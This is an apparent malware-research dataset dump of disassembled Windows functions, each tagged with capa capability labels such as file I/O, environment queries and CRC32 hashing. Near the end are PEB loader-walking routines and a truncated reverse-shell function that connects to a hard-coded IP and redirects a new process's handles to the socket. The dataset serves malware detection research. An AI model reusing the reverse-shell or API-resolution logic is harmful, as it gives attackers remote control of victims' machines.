joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009eb50
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140096eac
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14009ebf1
cmp ebx, dword [rsp + 0x30]
je 0x14009ebea
test esi, esi
je 0x14009ebea
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14009ebc5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14009ebd2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14009ebaf
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14009ebd6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14009ebf3
mov eax, 1
jmp 0x14009ebf3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a0b50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400d5c50]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400a0ba7
cmp word [rdx], r13w
jne 0x1400a0ba7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400a0bac
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400a0cd1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400a0cf2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400a0be5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400a0c0c
cmp r9, r8
jae 0x1400a0c1c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400a0bc6
jmp 0x1400a0cd1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400a0cc6
cmp dword [rsp + 0x80], esi
je 0x1400a0cc6
lea r8, [0x1400d5c50]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400a0c9e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400a0c6e
mov word [rbx], r13w
jmp 0x1400a0cce
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400a0c7b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400a0cce
cmp word [rsp + 0x70], r13w
jne 0x1400a0cab
cmp rbx, r14
je 0x1400a0c68
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14009f7f4
cmp word [rsp + 0x70], r13w
je 0x1400a0cd1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400d5c50]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400a0ccb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400a0cd1
Function at 0x1400a0d10
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400a0d40
xor eax, eax
jmp 0x1400a0e03
mov rbp, rbx
cmp word [rax], si
je 0x1400a0d65
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400a0d4c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400a0d48
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140096d6c
movsxd r14, eax
test eax, eax
jne 0x1400a0da3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400a0d39
mov rcx, r14
call fcn.140096c7c
mov rdi, rax
test rax, rax
jne 0x1400a0dbc
xor ecx, ecx
call fcn.140096c40
jmp 0x1400a0d98
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140096d6c
test eax, eax
jne 0x1400a0ded
mov rcx, rdi
call fcn.140096c40
jmp 0x1400a0df7
xor ecx, ecx
call fcn.140096c40
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400a0e20
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400a0ea7
mov rsi, rbx
cmp word [rax], bp
je 0x1400a0e66
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400a0e50
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400a0e4c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140096c7c
mov rdi, rax
test rax, rax
je 0x1400a0e94
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400ad810
mov rbp, rdi
xor ecx, ecx
call fcn.140096c40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a4580
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400a4596
mov al, 1
jmp 0x1400a45f6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400a45a7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400a45f4
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400a2530
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400a45f4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400a45f4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400a45f4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400a45f6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400a5760
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400a5780
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14008696c
or eax, 0xffffffff
jmp 0x1400a5782
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400abb2c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14007a44c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400abbb6
cmp byte [rbp - 0x21], r15b
je 0x1400abbb1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400abbec
call fcn.140097888
test eax, eax
jne 0x1400abbd8
cmp byte [rbp - 0x21], r15b
je 0x1400abbd0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400abbec
cmp byte [rbp - 0x21], r15b
je 0x1400abbe9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14007a670
test eax, eax
jne 0x1400abc8c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14007a44c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400abc2b
cmp byte [rbp - 0x21], r15b
je 0x1400abc60
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400abc60
call fcn.140097888
test eax, eax
jne 0x1400abc4c
cmp byte [rbp - 0x21], r15b
je 0x1400abc45
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400abc60
cmp byte [rbp - 0x21], r15b
je 0x1400abc5d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14007a670
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400abc8c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400abc8f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400abc9d
mov rcx, rdi
call fcn.140096c40
cmp byte [rbp + 0x3f], r15b
je 0x1400abcac
mov rcx, qword [rbp + 0x27]
call fcn.140096c40
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400ac904
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14009f7f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14009f7f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400aca54
cmp rax, 0xffffffffffffffff
je 0x1400aca54
xor edi, edi
test rbp, rbp
jle 0x1400ac9ff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140099128
mov rbx, rax
test rax, rax
jne 0x1400ac98c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400ac9f5
mov edx, 0x8000
mov ecx, r14d
call fcn.140089548
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400a36f0
cmp eax, 0xffffffff
je 0x1400ac9d5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400ac99c
mov edx, r15d
mov ecx, r14d
call fcn.140089548
jmp 0x1400ac9f5
cmp byte [rsi + 0x38], dil
je 0x1400ac9ec
cmp dword [rsi + 0x34], 5
jne 0x1400ac9ec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400ac9f5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140096c40
jmp 0x1400aca68
jns 0x1400aca68
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14009f7f4
cmp rax, 0xffffffffffffffff
jne 0x1400aca20
cmp byte [rsi + 0x30], dil
je 0x1400aca68
mov edi, dword [rsi + 0x2c]
jmp 0x1400aca68
mov ecx, r14d
call fcn.1400a2530
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400aca68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400aca68
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400aca61
mov eax, dword [rsi + 0x2c]
jmp 0x1400aca66
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14009f7f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400016d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rcx, str.Ready
call fcn.140001010
xor eax, eax
lea r8, [0x1400015c0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140001250
int3

Function at 0x140002120
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000216a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000216a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000216a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000216a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000216a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000216c
xor al, al
add rsp, 0x28
ret
Function at 0x140002584
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x1400025de
mov r11b, 0x23
lea rbx, [0x14003bd70]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x1400025c8
cmp rdx, 2
jb 0x1400025c8
cmp byte [r10], r11b
jne 0x1400025c8
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x1400025a6
jmp 0x14000261f
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x14000261f
mov r11b, 0x23
lea rbx, [0x14003bd70]
cmp dl, r11b
jne 0x140002603
cmp byte [r10], r11b
jne 0x140002603
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x1400025f1
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x140002754
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x140002774
and qword [r8], 0
lea rdx, [0x14003b7e8]
call fcn.140002630
mov rbx, rax
test rax, rax
je 0x140002865
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x14000285c
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000285c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000285c
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000285c
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x14000285c
mov rax, qword [0x1400a8940]
test rax, rax
je 0x1400027f9
inc dword [rax + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000285c
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x140002849
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400a8940]
test rax, rax
je 0x14000283e
dec dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002865
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140002857
mov qword [rsi], rbp
mov rax, rdi
jmp 0x140002867
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004720
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
movsxd rdx, dword [rcx + 0x108]
mov r9d, 4
mov rax, qword [rcx + 0x110]
mov r8d, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x38]
not r8d
movzx eax, byte [rdx]
inc rdx
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x14003bd70]
xor r8d, dword [rax + rcx*4]
sub r9, 1
jne 0x140004749
not r8d
mov ecx, r8d
call fcn.140004880
mov eax, r8d
add rsp, 0x28
ret

Function at 0x14000e604
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x1400a8940]
mov r10d, 4
mov dword [rsp + 0x20], ecx
mov r9, qword [rax + 0x1b90]
movsxd rcx, dword [r9 + 0x108]
mov rax, qword [r9 + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x14003bd70]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14000e64a
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0x108]
mov dword [rsp + 0x20], r8d
call fcn.14001c6d4
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140038fe0
add rsp, 0x38
ret

Function at 0x1400132d8
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, qword [0x1400a8940]
cmp byte [rbx + 0x3000], 0
je 0x140013399
cmp qword [rbx + 0x3008], 0
lea rbp, [rax + 0x10]
lea rdi, [rbx + 0x3010]
je 0x14001338b
mov r9d, dword [rdi + 4]
test r9d, r9d
jns 0x140013343
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001ca14
mov rcx, qword [rsp + 0x40]
and dword [rdi], 0
mov rdx, rcx
mov rcx, rdi
mov r8, rbp
call fcn.140002e90
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x3008]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1400a8938]
movsxd r8, eax
mov rax, qword [rbx + 0x3018]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140013399
mov rdx, rcx
mov r8, rbp
mov rcx, rdi
call fcn.140002e90
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret

Function at 0x1400139f4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400a8940]
mov rbx, rcx
and dword [rax + 0x2fbc], 0
test rcx, rcx
je 0x140013a5d
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140013a68
lea rdx, [0x14003b7ec]
mov rcx, rbx
mov rdi, rax
call fcn.140002630
mov rbx, rax
test rax, rax
je 0x140013a5d
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140039d78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140039dc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140039dc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140039dc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140039dc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140039dc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140039dc4
xor al, al
add rsp, 0x28
ret
Function at 0x1800027a0
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, qword gs:[0x60]
mov r10, qword [rax + 0x18]
add r10, 0x10
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r9b
or r9b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r14b
or r14b, al
lea rax, [rcx - 1]
mov r15, r10
test r8b, r8b
je 0x1800028d0
mov r15, qword [r15]
cmp r15, r10
je 0x1800028f2
mov rdi, rax
test r9b, r9b
je 0x1800028e0
nop word cs:[rax + rax]
nop
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x180002850
test r14b, r14b
je 0x1800028f0
sub rdi, rcx
je 0x1800028b8
mov r12, qword [r15 + 0x60]
xor edx, edx
nop
movzx esi, word [r12 + rdx*2]
lea ebx, [rsi - 0x41]
lea ebp, [rsi + 0x20]
cmp bx, 0x1a
cmovae ebp, esi
movsx ebx, byte [rcx + rdx]
lea r13d, [rbx - 0x41]
lea r11d, [rbx + 0x20]
cmp r13b, 0x1a
cmovae r11d, ebx
sub ebp, r11d
test esi, esi
je 0x1800028b0
test ebp, ebp
jne 0x1800028b0
add rdx, 1
cmp rdi, rdx
jne 0x180002870
jmp 0x1800028b8
test ebp, ebp
jne 0x180002824
mov rax, qword [r15 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x1800028d0
jmp 0x1800028e0
jmp 0x1800028f0
xor eax, eax
jmp 0x1800028bc
Function at 0x180002a60
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a8c], 0xa
jl 0x180002a92
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002a92
nop word cs:[rax + rax]
jmp 0x180002a90
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a74], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002b68
mov rsi, r10
test r8b, r8b
je 0x180002b80
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180002b00
test r9b, r9b
je 0x180002b90
sub rsi, rcx
je 0x180002b64
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002b60
test ebp, ebp
jne 0x180002b60
add rbx, 1
cmp rsi, rbx
jne 0x180002b20
jmp 0x180002b64
test ebp, ebp
jne 0x180002aec
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002b80
jmp 0x180002b90
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2b8
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
lea rdx, [rsp + 0x100]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x58], rax
mov eax, 2
mov word [rsp + 0xf0], ax
lea rcx, str.3.66.38.117
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xf4], eax
mov cx, 0x4300
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xf2], ax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400011ca
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140001fe0
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 0x101
xor eax, eax
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
